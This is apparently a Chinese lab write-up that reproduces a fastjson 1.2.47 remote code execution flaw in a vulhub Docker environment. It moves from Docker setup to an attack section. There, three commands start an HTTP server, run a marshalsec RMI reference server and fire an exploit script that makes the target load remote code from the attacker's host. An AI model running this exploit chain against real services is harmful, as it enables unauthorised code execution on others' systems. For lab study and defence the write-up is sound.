0x01第一个docker漏洞环境搭建复现fastjson

第一个docker漏洞环境搭建复现

由于某原因要进行fastjson漏洞的复现,已获得脚本及exp

0x1 搭建docker(mac版)

参考链接:https://www.runoob.com/docker/macos-docker-install.html

安装成功后进行初始化

image-20201109115207734

问题:发现80端口被占用

解决:https://blog.csdn.net/haha223545/article/details/105244919,是apache占用了,所以停止apache服务即可:sudo apachectl stop

image-20201109115229824

0x2 从git上拉取漏洞环境靶机vulhub(mac需要装好Git)

image-20201109115254393

进入后能看到有许多漏洞环境

image-20201109115311533

0x3 使用docker

进入对应的文件夹,使用docker-compose up

image-20201109115334588

成功启动,漏洞环境已经搭好

0x4 开始漏洞攻击复现

从docker中登录受害者靶机,可以查看是否有文件生成

​ docker ps -a:查看ID

​ docker exec -it ID /bin/bash

image-20201109115443747

接下来有两种方式:

1、使用另一台计算机作为攻击机和服务器端,进行攻击

2、使用docker搭建一个服务器端,本机作为攻击机(不然攻击机和受害机IP会相同)

第一种方法实践:

选择同一网段下的另一个计算机,搭建服务器端

查看IP,开启python Http服务(注意要和rmi在同一文件夹下开启,不然无法访问到文件的),打开rmi服务

image-20201109114538181

IP为10.141.0.125,攻击语句:

1、python3 -m http.server –bind 0.0.0.0 8888

2、java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://x.x.x.x:8888/#Exploit" 9999

3、python3 fastjson-1.2.47_rce.py http://s.s.s.s:8080/ rmi://x.x.x.x:9999/Exploit

其中,第一句中的8888端口要与第二句中的8888,端口号可改但须一致,第二句中的9999和第三句中的9999,端口号可改但须一致,x.x.x.x为本机IP,即攻击者ip,s.s.s.s为受害者靶机Ip,端口8080需要根据靶机环境进行更改

image-20201109114938652

攻击成功后,能在受害者靶机上看到exphub文件,在http上也能看见请求

image-20201109115025283